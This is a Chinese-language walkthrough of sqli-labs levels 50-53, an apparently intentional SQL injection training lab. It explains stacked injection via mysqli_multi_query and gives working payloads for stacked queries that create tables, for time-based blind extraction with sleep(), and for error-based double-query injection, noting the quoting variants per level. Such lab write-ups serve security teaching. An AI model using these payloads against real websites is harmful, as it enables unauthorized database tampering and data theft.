Less 50-53

1. 题目分析

Less50-53这四关是第三部分的最后一个考察点。考察的主要知识为堆叠注入。这四关十分的相近（对于堆叠注入而言，仅仅是是否需要引号的问题），因此，放在一起讨论。

通过?sort=1' --+以及?sort=1 and sleep(0.5) --+可以判断出来，本关用报错信息的输出，以及sort为数值类型。

因此，应该可以使用双注入、时间注入；根据题目的要求，还可以使用堆叠注入。

2. 注入过程

2.1 堆叠注入

我们要注意，这里源码使用的查询SQL函数是mysqli_multi_query。
mysqli_multi_query : 可以执行多个SQL语句。
mysqli_query() : 之能执行一个SQL语句。

因此，可能会存在堆叠注入的漏洞。

给出一条payload

?sort=1; create table test99 like users --+

---

2.2 时间注入

?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(0.5),1) --+

通过上述语句，可得出可以进行时间注入。

---

2.3 双注入

经过测试双注入没有按照预期的给出结果：

?sort=1 and (select count(*) from information_schema.tables group by(concat(0x7e, (select database()), floor(rand(0)*2)))) --+

因此，双注入可能不行。

Less 51-53

51-53基本一样，在这里总结一下：

Less51： sort为单引号包裹。
payload

?sort=1%27; create table test99 like users --+

Less52: sort为数值型，但是屏蔽掉了报错信息
payload

?sort=1; create table test00 like users --+

Less53: sort为单引号包裹，但是屏蔽掉了报错信息。
payload

?sort=1%27; create table test00 like users --+